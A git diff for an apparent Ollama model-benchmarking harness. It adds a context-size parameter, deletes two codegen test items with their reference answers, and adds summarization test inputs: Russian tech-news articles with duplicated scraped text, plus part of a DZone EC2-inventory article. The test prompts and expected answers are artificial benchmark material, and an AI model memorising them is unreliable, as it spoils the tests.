+70,14 @@ def main(): logging.info(f"Starting benchmarking for model: {args.model}") logging.info(f"Ollama URL: {args.ollama_url}") logging.info(f"Benchmarks to run: {', '.join(args.benchmarks)}") + logging.info(f"Context size: {args.num_ctx}") try: # Инициализация клиента ollama_client = OllamaClient(args.ollama_url) # Запуск бенчмарков - results = run_benchmarks(ollama_client, args.model, args.benchmarks) + results = run_benchmarks(ollama_client, args.model, args.benchmarks, args.num_ctx) # Генерация отчетов report_generator = ReportGenerator() @@ -88,7 +91,7 @@ def main(): logging.info("Benchmarking completed successfully!") except Exception as e: - logging.error(f"Error during benchmarking: {e}") + logging.error(f"Error during benchmarking: {e}", exc_info=True) return 1 return 0 diff --git a/src/models/ollama_client.py b/src/models/ollama_client.py index f4915b6..3ac8b96 100644 --- a/src/models/ollama_client.py +++ b/src/models/ollama_client.py @@ -16,13 +16,14 @@ class OllamaClient: self.client = Client(host=base_url) self.logger = logging.getLogger(__name__) - def generate(self, model: str, prompt: str, **kwargs) -> str: + def generate(self, model: str, prompt: str, num_ctx: int = 32000, **kwargs) -> str: """ Генерация ответа от модели. Args: model: Название модели prompt: Входной промпт + num_ctx: Размер контекста (по умолчанию 32000) **kwargs: Дополнительные параметры для запроса Returns: @@ -33,23 +34,32 @@ class OllamaClient: """ try: self.logger.info(f"Generating response for model {model}") + self.logger.debug(f"Prompt: {prompt[:200]}...") # Логируем начало промпта + # Объединяем options из kwargs с num_ctx + options = {'num_ctx': num_ctx} + if 'options' in kwargs: + options.update(kwargs.pop('options')) response = self.client.generate( model=model, prompt=prompt, + options=options, **kwargs ) return response['response'] except Exception as e: - self.logger.error(f"Error generating response: {e}") + error_msg = f"Error generating response for model {model}: {e}" + self.logger.error(error_msg) + self.logger.debug(f"Failed prompt: {prompt[:500]}") raise - def chat(self, model: str, messages: list, **kwargs) -> str: + def chat(self, model: str, messages: list, num_ctx: int = 32000, **kwargs) -> str: """ Диалог с моделью. Args: model: Название модели messages: Список сообщений в формате [{'role': 'user', 'content': '...'}, ...] + num_ctx: Размер контекста (по умолчанию 32000) **kwargs: Дополнительные параметры для запроса Returns: @@ -60,9 +70,14 @@ class OllamaClient: """ try: self.logger.info(f"Chatting with model {model}") + # Объединяем options из kwargs с num_ctx + options = {'num_ctx': num_ctx} + if 'options' in kwargs: + options.update(kwargs.pop('options')) response = self.client.chat( model=model, messages=messages, + options=options, **kwargs ) return response['message']['content'] diff --git a/tests/codegen/test2.txt b/tests/codegen/test2.txt deleted file mode 100644 index 524372d..0000000 --- a/tests/codegen/test2.txt +++ /dev/null @@ -1,4 +0,0 @@ -Write a Python function that reverses a string. -============== -def reverse_string(s): - return s[::-1] diff --git a/tests/codegen/test3.txt b/tests/codegen/test3.txt deleted file mode 100644 index c7e7f4b..0000000 --- a/tests/codegen/test3.txt +++ /dev/null @@ -1,9 +0,0 @@ -Write a Python function that checks if a number is prime. -============== -def is_prime(n): - if n <= 1: - return False - for i in range(2, int(n**0.5) + 1): - if n % i == 0: - return False - return True diff --git a/tests/summarization/https___4pda.to_2026_01_22_452001_qwerty_smartfon_unihertz_titan_2_elite_pokazali_vzhivuyu_video_.txt b/tests/summarization/https___4pda.to_2026_01_22_452001_qwerty_smartfon_unihertz_titan_2_elite_pokazali_vzhivuyu_video_.txt new file mode 100644 index 0000000..026c473 --- /dev/null +++ b/tests/summarization/https___4pda.to_2026_01_22_452001_qwerty_smartfon_unihertz_titan_2_elite_pokazali_vzhivuyu_video_.txt @@ -0,0 +1,2 @@ +QWERTY-смартфон Unihertz Titan 2 Elite показали «вживую» [ВИДЕО] 22.01.26 15 На YouTube-канале компании Unihertz появился ролик с демонстрацией недавно анонсированного QWERTY-смартфона Titan 2 Elite. Видеоряд даёт более наглядное представление о размерах устройства и его функциональных возможностях. В частности, производитель показал пример использования физической клавиатуры — запуск приложения Google Keep через удержание клавиши K и выход из него по кнопке Home, расположенной рядом с пробелом. Клавиша fn, в свою очередь, намекает на множество вариантов комбинаций для запуска тех или иных действий. 1 / 3 Список характеристик Unihertz Titan 2 Elite по-прежнему не опубликован, поскольку гаджет всё ещё находится на стадии тестирования. Подробности о новинке станут известны на выставке MWC 2026, которая пройдёт в Барселоне со 2 по 5 марта 2026 года. Источник: youtube.com Автор: Шамиль Алиуллов # Unihertz Unihertz Titan 2 Elite QWERTY-смартфон Unihertz Titan 2 Elite показали «вживую» [ВИДЕО] 22.01.26 15 На YouTube-канале компании Unihertz появился ролик с демонстрацией недавно анонсированного QWERTY-смартфона Titan 2 Elite. Видеоряд даёт более наглядное представление о размерах устройства и его функциональных возможностях. 22.01.26 15 На YouTube-канале компании Unihertz появился ролик с демонстрацией недавно анонсированного QWERTY-смартфона Titan 2 Elite. Видеоряд даёт более наглядное представление о размерах устройства и его функциональных возможностях. 22.01.26 15 15 1 / 3 1 / 3 1 / 3 Источник: youtube.com Автор: Шамиль Алиуллов # Unihertz Unihertz Titan 2 Elite Источник: youtube.com Автор: Шамиль Алиуллов Источник: youtube.com Автор: Шамиль Алиуллов # Unihertz Unihertz Titan 2 Elite +============== diff --git a/tests/summarization/https___4pda.to_2026_01_22_452006_smi_era_nedorogikh_ssd_zakonchilas_i_dalshe_budet_eschyo_khuzhe_.txt b/tests/summarization/https___4pda.to_2026_01_22_452006_smi_era_nedorogikh_ssd_zakonchilas_i_dalshe_budet_eschyo_khuzhe_.txt new file mode 100644 index 0000000..6b6f546 --- /dev/null +++ b/tests/summarization/https___4pda.to_2026_01_22_452006_smi_era_nedorogikh_ssd_zakonchilas_i_dalshe_budet_eschyo_khuzhe_.txt @@ -0,0 +1,2 @@ +СМИ: эра недорогих SSD закончилась — и дальше будет ещё хуже 22.01.26 67 Вслед за оперативной памятью по всему миру подорожали и накопители. И это, похоже, надолго: представитель одного из крупнейших поставщиков NAND уже заявил о завершении эпохи дешёвых SSD, а два других бренда сокращают производство флеш-памяти в пользу более выгодной DRAM. По заявлению топ-менеджера Kioxia Шунсуке Накато, компания уже распродала все чипы, которые сойдут с её конвейеров в текущем году. Он утверждает, что это приведёт к дефициту и дальнейшему росту цен, а дни недорогих SSD по $45 за терабайт, по его мнению, уже закончились. Кроме того, по информации корейского издания Chosun Biz, производство NAND-памяти в этом году заметно сокращают Samsung и SK Hynix, переключившись на нужды NVIDIA в сфере ИИ-ускорителей. Это уже в ближайшее время скажется на потребительском рынке. По мнению профильных СМИ, на рынке твердотельных накопителей реализуется тот же сценарий, что и с оперативной памятью. По прогнозам журналистов, SSD продолжат скачкообразно дорожать минимум до 2027 года. Источник: wccftech.com Автор: Виктория Анисимова СМИ: эра недорогих SSD закончилась — и дальше будет ещё хуже 22.01.26 67 Вслед за оперативной памятью по всему миру подорожали и накопители. И это, похоже, надолго: представитель одного из крупнейших поставщиков NAND уже заявил о завершении эпохи дешёвых SSD, а два других бренда сокращают производство флеш-памяти в пользу более выгодной DRAM. 22.01.26 67 Вслед за оперативной памятью по всему миру подорожали и накопители. И это, похоже, надолго: представитель одного из крупнейших поставщиков NAND уже заявил о завершении эпохи дешёвых SSD, а два других бренда сокращают производство флеш-памяти в пользу более выгодной DRAM. 22.01.26 67 67 Источник: wccftech.com Автор: Виктория Анисимова Источник: wccftech.com Автор: Виктория Анисимова Источник: wccftech.com Автор: Виктория Анисимова +============== diff --git a/tests/summarization/https___4pda.to_2026_01_22_452008_kuler_igrovogo_smartfona_iqoo_15_ultra_pokazali_na_rendere_.txt b/tests/summarization/https___4pda.to_2026_01_22_452008_kuler_igrovogo_smartfona_iqoo_15_ultra_pokazali_na_rendere_.txt new file mode 100644 index 0000000..312dccf --- /dev/null +++ b/tests/summarization/https___4pda.to_2026_01_22_452008_kuler_igrovogo_smartfona_iqoo_15_ultra_pokazali_na_rendere_.txt @@ -0,0 +1,2 @@ +Кулер игрового смартфона iQOO 15 Ultra показали на рендере 22.01.26 13 Инсайдер Digital Chat Station опубликовал схематическое изображение ещё не представленного смартфона iQOO 15 Ultra. Рендер демонстрирует одну из ключевых особенностей модели, отчасти благодаря которой она установила рекорд производительности в AnTuTu. Судя по эскизу, конструкция системы активного охлаждения смартфона включает воздуховод с отверстиями в блоке камер, через которые в корпус попадает холодный воздух. Горячий, в свою очередь, выбрасывается через решётку на боковой грани гаджета. По слухам, размеры вентилятора составят 17 x 17 x 4 мм. Эффективная площадь испарительной камеры, согласно источнику, составит 8000 мм². Заодно информатор сообщил, что смартфон будет представлен в конфигурациях памяти 16 + 512 ГБ и 24 ГБ + 1 ТБ. Информацией об устройстве ранее поделился и директор по продуктам iQOO Галант Ви. По его словам, новинка ориентирована не только на пиковую производительность (60 fps на максимальных настройках графики «в одной из самых требовательных игр»), но и на стабильность фреймрейта. Премьера iQOO 15 Ultra ожидается в начале февраля 2026 года, цена смартфона по-прежнему неизвестна. Источник: gizmochina.com Автор: Шамиль Алиуллов # iQOO iQOO 15 Ultra Кулер игрового смартфона iQOO 15 Ultra показали на рендере 22.01.26 13 Инсайдер Digital Chat Station опубликовал схематическое изображение ещё не представленного смартфона iQOO 15 Ultra. Рендер демонстрирует одну из ключевых особенностей модели, отчасти благодаря которой она установила рекорд производительности в AnTuTu. 22.01.26 13 Инсайдер Digital Chat Station опубликовал схематическое изображение ещё не представленного смартфона iQOO 15 Ultra. Рендер демонстрирует одну из ключевых особенностей модели, отчасти благодаря которой она установила рекорд производительности в AnTuTu. 22.01.26 13 13 Источник: gizmochina.com Автор: Шамиль Алиуллов # iQOO iQOO 15 Ultra Источник: gizmochina.com Автор: Шамиль Алиуллов Источник: gizmochina.com Автор: Шамиль Алиуллов # iQOO iQOO 15 Ultra +============== diff --git a/tests/summarization/https___4pda.to_2026_01_22_452021_smena_komandy_prodyuser_world_of_warcraft_teper_rabotaet_nad_mmo_po_league_of_legends_.txt b/tests/summarization/https___4pda.to_2026_01_22_452021_smena_komandy_prodyuser_world_of_warcraft_teper_rabotaet_nad_mmo_po_league_of_legends_.txt new file mode 100644 index 0000000..0f8ee9a --- /dev/null +++ b/tests/summarization/https___4pda.to_2026_01_22_452021_smena_komandy_prodyuser_world_of_warcraft_teper_rabotaet_nad_mmo_po_league_of_legends_.txt @@ -0,0 +1,2 @@ +Смена команды. Продюсер World of Warcraft теперь работает над MMO по League of Legends 22.01.26 6 В игровой индустрии (западной её части во всяком случае) мало кто засиживается в одной компании надолго. Из-за этого порой возникают любопытные ситуации, когда сотрудников одной студии в какой-то момент нанимают её конкуренты. Рэймонд Бартос Например, ведущий продюсер World of Warcraft Рэймонд Бартос променял офис Blizzard Entertainment на уютную должность в Riot Games. Там он будет трудиться над MMO по мотивам League of Legends вместе с Орландо Сальваторе, другим ветераном Blizzard. Riot, отметим, уже очень давно вынашивает свою MMORPG. Разработка проекта держится в строжайшем секрете — известно лишь, что в 2024-м её перезапустили с нуля. Ранее Марк Меррилл, со-основатель компании, объяснил тотальную смену концепции очень просто: ему и его коллегам не нужен стандартный представитель жанра, они жаждут реализовать весь потенциал мира Рунтерра. Увы, это означает, что у амбициозного тайтла нет даже приблизительной даты релиза: Меррилл надеется, что им удастся выпустить MMO до колонизации Марса. Источник: massivelyop.com Автор: Валентин Карузов Смена команды. Продюсер World of Warcraft теперь работает над MMO по League of Legends 22.01.26 6 В игровой индустрии (западной её части во всяком случае) мало кто засиживается в одной компании надолго. Из-за этого порой возникают любопытные ситуации, когда сотрудников одной студии в какой-то момент нанимают её конкуренты. 22.01.26 6 В игровой индустрии (западной её части во всяком случае) мало кто засиживается в одной компании надолго. Из-за этого порой возникают любопытные ситуации, когда сотрудников одной студии в какой-то момент нанимают её конкуренты. 22.01.26 6 6 Источник: massivelyop.com Автор: Валентин Карузов Источник: massivelyop.com Автор: Валентин Карузов Источник: massivelyop.com Автор: Валентин Карузов +============== diff --git a/tests/summarization/https___4pda.to_2026_01_22_452025_eto_uspekh_vsego_za_nedelyu_gejmery_zagruzili_svyshe_5_mln_modov_dlya_hytale_.txt b/tests/summarization/https___4pda.to_2026_01_22_452025_eto_uspekh_vsego_za_nedelyu_gejmery_zagruzili_svyshe_5_mln_modov_dlya_hytale_.txt new file mode 100644 index 0000000..744159a --- /dev/null +++ b/tests/summarization/https___4pda.to_2026_01_22_452025_eto_uspekh_vsego_za_nedelyu_gejmery_zagruzili_svyshe_5_mln_modov_dlya_hytale_.txt @@ -0,0 +1,2 @@ +Это успех. Всего за неделю геймеры загрузили свыше 5 млн модов для Hytale 22.01.26 12 В прошлом году Riot Games отменила Hytale, которую затем выкупил её оригинальный создатель — и выпустил на рынок в имеющемся виде. Игру ждал бешеный успех. Поскольку Hytale не представлена в Steam, измерить её показатели онлайна невозможно — однако о высоком интересе публики говорят различные косвенные свидетельства. К примеру, всего за неделю с момента выпуска игры в раннем доступе пользователи создали для неё свыше двух тысяч модификаций и суммарно скачали их свыше пяти миллионов раз. Публика конкурента Minecraft действительно измеряется миллионами — вот настолько популярным оказался проект, пускай это пока не сопоставимо с аудиторией самой популярной блочной песочницы. Среди всего обилия модификаций сильнее прочих оказались востребованы изменения в интерфейсе, различные ассистенты, новые предметы оружия и мебели, расширители максимального стека предметов, увеличители добычи руды и улучшатели карты. Изучить список модификаций можно по этой ссылке. Источник: curseforge.com Автор: Александр Козьяков Это успех. Всего за неделю геймеры загрузили свыше 5 млн модов для Hytale 22.01.26 12 В прошлом году Riot Games отменила Hytale, которую затем выкупил её оригинальный создатель — и выпустил на рынок в имеющемся виде. Игру ждал бешеный успех. 22.01.26 12 В прошлом году Riot Games отменила Hytale, которую затем выкупил её оригинальный создатель — и выпустил на рынок в имеющемся виде. Игру ждал бешеный успех. 22.01.26 12 12 Источник: curseforge.com Автор: Александр Козьяков Источник: curseforge.com Автор: Александр Козьяков Источник: curseforge.com Автор: Александр Козьяков +============== diff --git a/tests/summarization/https___4pda.to_2026_01_22_452026_pokhozhe_marathon_ne_svetit_sudba_concord_gejmery_skupayut_predzakazy_.txt b/tests/summarization/https___4pda.to_2026_01_22_452026_pokhozhe_marathon_ne_svetit_sudba_concord_gejmery_skupayut_predzakazy_.txt new file mode 100644 index 0000000..36bd1ec --- /dev/null +++ b/tests/summarization/https___4pda.to_2026_01_22_452026_pokhozhe_marathon_ne_svetit_sudba_concord_gejmery_skupayut_predzakazy_.txt @@ -0,0 +1,2 @@ +Похоже, Marathon не светит судьба Concord. Геймеры скупают предзаказы 22.01.26 13 При анонсе Marathon вместо праздника студия Bungie получила много головной боли: геймеры раскритиковали проект и вынудили разработчиков отложить его релиз. Кажется, дополнительное время они провели с пользой. Недавно Bungie открыла платные предзаказы Marathon — и уже на этом основании можно утверждать, что игре не светит судьба провальной Concord. В мировом чарте лидеров продаж Steam проект дебютировал в топ-10 (правда, парой дней спустя оказался на 11 позиции среди платных игр). Волна ненависти к проекту тем временем сходит на нет: трейлер предзаказа собрал 13 тысяч лайков и 2,7 тысячи дизлайков. Для сравнения, в ролике с первой демонстрацией геймплея реакции разделились ровно пополам, а секция комментариев была заполнена негативными замечаниями. Теперь же игроки в основном выражают желание поскорее поиграть в Marathon. Кажется, создателям видеоигр стоит почаще прислушиваться к мнению сообщества — такое отношение окупает себя с лихвой. Источник: youtube.com Автор: Александр Козьяков Похоже, Marathon не светит судьба Concord. Геймеры скупают предзаказы 22.01.26 13 При анонсе Marathon вместо праздника студия Bungie получила много головной боли: геймеры раскритиковали проект и вынудили разработчиков отложить его релиз. Кажется, дополнительное время они провели с пользой. 22.01.26 13 При анонсе Marathon вместо праздника студия Bungie получила много головной боли: геймеры раскритиковали проект и вынудили разработчиков отложить его релиз. Кажется, дополнительное время они провели с пользой. 22.01.26 13 13 Источник: youtube.com Автор: Александр Козьяков Источник: youtube.com Автор: Александр Козьяков Источник: youtube.com Автор: Александр Козьяков +============== diff --git a/tests/summarization/https___4pda.to_2026_01_22_452044_portativka_gpd_win_5_poluchit_ofitsialnuyu_podderzhku_os_bazzite_.txt b/tests/summarization/https___4pda.to_2026_01_22_452044_portativka_gpd_win_5_poluchit_ofitsialnuyu_podderzhku_os_bazzite_.txt new file mode 100644 index 0000000..c314e13 --- /dev/null +++ b/tests/summarization/https___4pda.to_2026_01_22_452044_portativka_gpd_win_5_poluchit_ofitsialnuyu_podderzhku_os_bazzite_.txt @@ -0,0 +1,2 @@ +«Портативка» GPD Win 5 получит официальную поддержку ОС Bazzite 22.01.26 21 Представитель бренда игровых консолей GPD заявил о начале работ по адаптации ОС Bazzite под фирменную «портативку» Win 5. Смена операционной системы, как ожидается, повысит игровую производительность устройства по сравнению с версией на Windows. Bazzite — это дистрибутив на ядре Linux, оптимизированный для запуска игр. Он включает в себя клиенты Steam и других геймерских платформ, поддерживает HDR и VRR, а также содержит ряд инструментов и системных настроек, призванных снизить фоновую нагрузку на железо. О готовящемся нововведении компания сообщила на Reddit, предложив всем желающим принять участие в тестировании. Судя по первым отзывам, у текущей модификации ОС есть проблемы с качеством звука, работой некоторых кнопок и выходом из спящего режима. Разработчики обещают оперативно «чинить» дистрибутив, выпуская соответствующие патчи. Сроки релиза стабильной версии операционной системы, полностью «заточенной» под консоль, пока не объявлены. Напомним, что GPD Win 5 изначально работает под управлением Windows 11. Консоль оснащена 7-дюймовым IPS-дисплеем с разрешением 1080p и частотой обновления 120 Гц. За производительность отвечает процессор AMD Ryzen Al Max 385 или Max+ 395 со «встройкой» AMD Radeon 8050S или 8060S соответственно. Источник: videocardz.com Автор: Шамиль Алиуллов # GPD GPD Win 5 «Портативка» GPD Win 5 получит официальную поддержку ОС Bazzite 22.01.26 21 Представитель бренда игровых консолей GPD заявил о начале работ по адаптации ОС Bazzite под фирменную «портативку» Win 5. Смена операционной системы, как ожидается, повысит игровую производительность устройства по сравнению с версией на Windows. 22.01.26 21 Представитель бренда игровых консолей GPD заявил о начале работ по адаптации ОС Bazzite под фирменную «портативку» Win 5. Смена операционной системы, как ожидается, повысит игровую производительность устройства по сравнению с версией на Windows. 22.01.26 21 21 Источник: videocardz.com Автор: Шамиль Алиуллов # GPD GPD Win 5 Источник: videocardz.com Автор: Шамиль Алиуллов Источник: videocardz.com Автор: Шамиль Алиуллов # GPD GPD Win 5 +============== diff --git a/tests/summarization/https___4pda.to_2026_01_22_452045_dizajn_modulnoj_kamery_insta360_pocket_raskryt_do_anonsa_foto_.txt b/tests/summarization/https___4pda.to_2026_01_22_452045_dizajn_modulnoj_kamery_insta360_pocket_raskryt_do_anonsa_foto_.txt new file mode 100644 index 0000000..9f4a7aa --- /dev/null +++ b/tests/summarization/https___4pda.to_2026_01_22_452045_dizajn_modulnoj_kamery_insta360_pocket_raskryt_do_anonsa_foto_.txt @@ -0,0 +1,2 @@ +Дизайн модульной камеры Insta360 Pocket раскрыт до анонса [ФОТО] 22.01.26 5 Insta360 и DJI соперничают на рынке экшн-камер, и, судя по свежему «сливу», первая хочет перенести конкуренцию и в сферу камер для блогинга, представив альтернативу модели DJI OSMO Pocket 3 и ещё не выпущенной Pocket 4. Одной из особенностей будущей новинки должна стать модульная конструкция. 1 / 2 По данным профильных СМИ, гаджет под названием Insta360 Pocket будет состоять из нескольких раздельных блоков: Модуль камеры со сменными объективами Блок управления с экраном и набором кнопок Модуль питания (предположительно со сменной АКБ) Соединительный модуль Судя по опубликованным снимкам и рендерам, все блоки будут быстросъёмными. На инсайдерских фотографиях устройство также показано в частично разобранном виде. Подробные характеристики, дата анонса и возможная цена Insta360 Pocket пока неизвестны. Источник: notebookcheck.net Автор: Шамиль Алиуллов # Insta360 Insta360 Pocket Дизайн модульной камеры Insta360 Pocket раскрыт до анонса [ФОТО] 22.01.26 5 Insta360 и DJI соперничают на рынке экшн-камер, и, судя по свежему «сливу», первая хочет перенести конкуренцию и в сферу камер для блогинга, представив альтернативу модели DJI OSMO Pocket 3 и ещё не выпущенной Pocket 4. Одной из особенностей будущей новинки должна стать модульная конструкция. 22.01.26 5 Insta360 и DJI соперничают на рынке экшн-камер, и, судя по свежему «сливу», первая хочет перенести конкуренцию и в сферу камер для блогинга, представив альтернативу модели DJI OSMO Pocket 3 и ещё не выпущенной Pocket 4. Одной из особенностей будущей новинки должна стать модульная конструкция. 22.01.26 5 5 1 / 2 1 / 2 1 / 2 Источник: notebookcheck.net Автор: Шамиль Алиуллов # Insta360 Insta360 Pocket Источник: notebookcheck.net Автор: Шамиль Алиуллов Источник: notebookcheck.net Автор: Шамиль Алиуллов # Insta360 Insta360 Pocket +============== diff --git a/tests/summarization/https___4pda.to_2026_01_22_452051_asus_predstavila_ochen_dorogoj_8k_monitor_proart_pa32kcx_dlya_professionalov_.txt b/tests/summarization/https___4pda.to_2026_01_22_452051_asus_predstavila_ochen_dorogoj_8k_monitor_proart_pa32kcx_dlya_professionalov_.txt new file mode 100644 index 0000000..fcd38b2 --- /dev/null +++ b/tests/summarization/https___4pda.to_2026_01_22_452051_asus_predstavila_ochen_dorogoj_8k_monitor_proart_pa32kcx_dlya_professionalov_.txt @@ -0,0 +1,2 @@ +ASUS представила очень дорогой 8K-монитор ProArt PA32KCX для профессионалов 22.01.26 21 Компания ASUS привезла на европейский рынок профессиональный монитор ProArt PA32KCX. Новинка, ориентированная на специалистов, работающих с графикой и видео, сочетает высокое разрешение, точную цветопередачу и хорошую яркость подсветки, а также оснащается встроенным колориметром для точной калибровки. 1 / 3 32-дюймовый дисплей монитора с разрешением 7680x4320 пикселей (275 ppi) имеет 4032 зоны локального затемнения. Эта особенность, по заверению бренда значительно уменьшает визуальные артефакты и эффект ореола вокруг мелких элементов на экране. Время отклика панели составляет 5 мс (GtG). Монитор поставляется с заводской калибровкой (Delta E < 1), а встроенный колориметр позволяет настроить цветопередачу без долгих танцев с бубном и стороннего ПО. Из коробки заявлен охват 100% цветовой гаммы sRGB, 97% P3 и 95% Adobe RGB. 1 / 4 Новинка комплектуется блендой, снижающей количество бликов на экране. Встроенные датчики также мониторят окружающее освещение и присутствие пользователя, автоматически регулируя яркость подсветки (до 1200 кд/м² в режиме HDR). Набор интерфейсов модули включает разъём DisplayPort 2.1, два HDMI 2.1, Thunderbolt 4, пару USB Type-C и три USB Type-A. Эргономичная подставка позволяет менять угол наклона, вращать экрана и регулировать высоту. ASUS ProArt PA32KCX поступил в продажу на рынке Европы по цене €9199. Источник: computerbase.de Автор: Виктория Анисимова # ASUS ASUS представила очень дорогой 8K-монитор ProArt PA32KCX для профессионалов 22.01.26 21 Компания ASUS привезла на европейский рынок профессиональный монитор ProArt PA32KCX. Новинка, ориентированная на специалистов, работающих с графикой и видео, сочетает высокое разрешение, точную цветопередачу и хорошую яркость подсветки, а также оснащается встроенным колориметром для точной калибровки. 22.01.26 21 Компания ASUS привезла на европейский рынок профессиональный монитор ProArt PA32KCX. Новинка, ориентированная на специалистов, работающих с графикой и видео, сочетает высокое разрешение, точную цветопередачу и хорошую яркость подсветки, а также оснащается встроенным колориметром для точной калибровки. 22.01.26 21 21 1 / 3 1 / 3 1 / 3 1 / 4 1 / 4 1 / 4 Источник: computerbase.de Автор: Виктория Анисимова # ASUS Источник: computerbase.de Автор: Виктория Анисимова Источник: computerbase.de Автор: Виктория Анисимова # ASUS +============== diff --git a/tests/summarization/https___4pda.to_2026_01_22_452052_smi_igrovaya_proizvoditelnost_linux_i_windows_pochti_ravna_no_ne_dlya_vsekh_.txt b/tests/summarization/https___4pda.to_2026_01_22_452052_smi_igrovaya_proizvoditelnost_linux_i_windows_pochti_ravna_no_ne_dlya_vsekh_.txt new file mode 100644 index 0000000..1b82cfa --- /dev/null +++ b/tests/summarization/https___4pda.to_2026_01_22_452052_smi_igrovaya_proizvoditelnost_linux_i_windows_pochti_ravna_no_ne_dlya_vsekh_.txt @@ -0,0 +1,2 @@ +СМИ: игровая производительность Linux и Windows почти равна. Но не для всех 22.01.26 87 Портал PC Games Hardware сравнил быстродействие игр в Windows 11 и Linux (через Proton) в конфигурациях с 10 различными видеокартами AMD и NVIDIA. Результаты оказались любопытными: хотя в среднем операционка Microsoft была быстрее, на определённых конфигурациях она уступала альтернативной ОС. Журналисты протестировали 10 игр на 10 видеокартах, поочерёдно устанавливаемых в системный блок на базе Ryzen 79800X3D с 48 ГБ оперативной памяти DDR5-6000. В качестве альтернативы «Окнам» была выбрана CachyOS на основе Arch Linux. Она, как выяснилось, практически не отставала от соперницы на конфигурациях с видеокартами AMD, а вот «зелёные» модели были заметно быстрее именно при работе с Windows. К примеру, игра Anno 117: Pax Romana оказалась на 1–5% быстрее на Linux с видеокартами RX 7800 XT и серией RX 9000, тогда как на железе NVIDIA в этом сценарии наблюдалась просадка быстродействия до 15%. Примерно ту же картину продемонстрировали A Plague Tale: Requiem и The Outer Worlds 2. Kingdom Come: Deliverance II сложилась любопытная ситуация. На платформе Linux с видеокартами NVIDIA RTX 5080, 5070 Ti и 5070 она ускорилась на 1–2% по сравнению с Windows. И наоборот, модели серии Radeon RX 9000 отстали примерно на 7% при запуске под Linux. В большинстве оставшихся игр, включая Baldur's Gate 3 и Clair Obscur: Expedition 33, «Радеоны» теряли около 5% игровой производительности при переходе на Linux, а видеокарты NVIDIA — до 20% в зависимости от модели. По заключению издания, ситуация может измениться, когда Valve выпустит Steam Machine и начнёт оптимизировать собственный дистрибутив для ПК. Сейчас Proton может запускать около 90% Windows-игр на Linux. Основными проблемами по-прежнему остаются Secure Boot и античит-системы на уровне ядра. Источник: techspot.com Автор: Шамиль Алиуллов # Linux Microsoft NVIDIA AMD Microsoft Windows 11 СМИ: игровая производительность Linux и Windows почти равна. Но не для всех 22.01.26 87 Портал PC Games Hardware сравнил быстродействие игр в Windows 11 и Linux (через Proton) в конфигурациях с 10 различными видеокартами AMD и NVIDIA. Результаты оказались любопытными: хотя в среднем операционка Microsoft была быстрее, на определённых конфигурациях она уступала альтернативной ОС. 22.01.26 87 Портал PC Games Hardware сравнил быстродействие игр в Windows 11 и Linux (через Proton) в конфигурациях с 10 различными видеокартами AMD и NVIDIA. Результаты оказались любопытными: хотя в среднем операционка Microsoft была быстрее, на определённых конфигурациях она уступала альтернативной ОС. 22.01.26 87 87 Источник: techspot.com Автор: Шамиль Алиуллов # Linux Microsoft NVIDIA AMD Microsoft Windows 11 Источник: techspot.com Автор: Шамиль Алиуллов Источник: techspot.com Автор: Шамиль Алиуллов # Linux Microsoft NVIDIA AMD Microsoft Windows 11 +============== diff --git a/tests/summarization/https___dzone.com_articles_automated-inventory-pattern-for-managing-aws-ec2.txt b/tests/summarization/https___dzone.com_articles_automated-inventory-pattern-for-managing-aws-ec2.txt new file mode 100644 index 0000000..ee53a5a --- /dev/null +++ b/tests/summarization/https___dzone.com_articles_automated-inventory-pattern-for-managing-aws-ec2.txt @@ -0,0 +1,94 @@ +In the hybrid cloud era, managing infrastructure visibility is a constant battle. We spin up EC2 instances for testing, leave them running, and forget about them. Security groups become bloated, and cost management turns into a guessing game. While high-end tools like Datadog or CloudHealth offer solutions, they often come with significant licensing costs and integration overhead. Sometimes, you just need a lightweight, customizable way to see exactly what is running in your environment. Based on a case study involving hybrid infrastructure management, this article outlines a low-cost automation architecture to retrieve, visualize, and analyze EC2 parameters. While the original implementation relied on legacy Excel VBA, we have modernized the stack to use Python. By combining Boto3 (the AWS SDK) and Pandas, you can build a self-updating inventory system that reduces audit time by 98%. The Problem: The Cloud “Black Box” When you manage hundreds of instances across multiple regions, three critical issues arise: Over-Provisioning: Resources are sized for peak load but run idle 90% of the time. Zombie Resources: Development environments are abandoned but left running. Security Drift: Who opened port 22 on the database server? When was the last OS patch applied? Manual audits are impossible at scale. You need an automated snapshot of your infrastructure’s health. The Architecture: A Python Automation Pipeline We replace the fragile CSV-to-VBA workflow with a robust Python script. This enables better error handling, type safety, and easier scheduling via Cron or Jenkins. The Workflow: Data Extraction: Python (boto3) queries the AWS API across all target regions. Data Processing: Python (pandas) flattens the JSON response into a structured DataFrame and filters for anomalies. Visualization: Python (openpyxl / xlsxwriter) exports a formatted Excel dashboard for management reporting. Step 1: The “VBA Killer” Python Script In legacy workflows, engineers often used VBA to parse CSVs line by line to avoid Excel crashing on large datasets. Python’s Pandas library handles this natively using vectorized operations, processing hundreds of thousands of rows in milliseconds. Below is the complete script to fetch EC2 data and generate a formatted report. Python import boto3 +import pandas as pd +from datetime import datetime + +def get_ec2_inventory(regions): + inventory_list = [] + + for region in regions: + print(f"Scanning region: {region}...") + ec2 = boto3.client('ec2', region_name=region) + + # Paginator handles API limits automatically + paginator = ec2.get_paginator('describe_instances') + + for page in paginator.paginate(): + for reservation in page['Reservations']: + for instance in reservation['Instances']: + # Extract Tags safely + tags = {t['Key']: t['Value'] for t in instance.get('Tags', [])} + + # Build the record + record = { + 'Region': region, + 'InstanceId': instance['InstanceId'], + 'Name': tags.get('Name', 'N/A'), + 'Type': instance['InstanceType'], + 'State': instance['State']['Name'], + 'PublicIP': instance.get('PublicIpAddress', 'N/A'), + 'PrivateIP': instance.get('PrivateIpAddress', 'N/A'), + 'LaunchTime': instance['LaunchTime'].replace(tzinfo=None), # Fix TZ for Excel + 'CostCenter': tags.get('CostCenter', 'Unknown') + } + inventory_list.append(record) + + return pd.DataFrame(inventory_list) + +def generate_excel_report(df, filename): + """ + Replaces VBA formatting logic. + Writes data to Excel and adds Conditional Formatting. + """ + with pd.ExcelWriter(filename, engine='xlsxwriter') as writer: + # Write raw data + df.to_excel(writer, sheet_name='EC2_Inventory', index=False) + + workbook = writer.book + worksheet = writer.sheets['EC2_Inventory'] + + # Format 1: Header styling + header_fmt = workbook.add_format({'bold': True, 'bg_color': '#4F81BD', 'font_color': 'white'}) + for col_num, value in enumerate(df.columns.values): + worksheet.write(0, col_num, value, header_fmt) + + # Format 2: Highlight "Stopped" instances in Red + red_fmt = workbook.add_format({'bg_color': '#FFC7CE', 'font_color': '#9C0006'}) + + # Apply conditional formatting to the 'State' column (Column E) + row_count = len(df) + 1 + 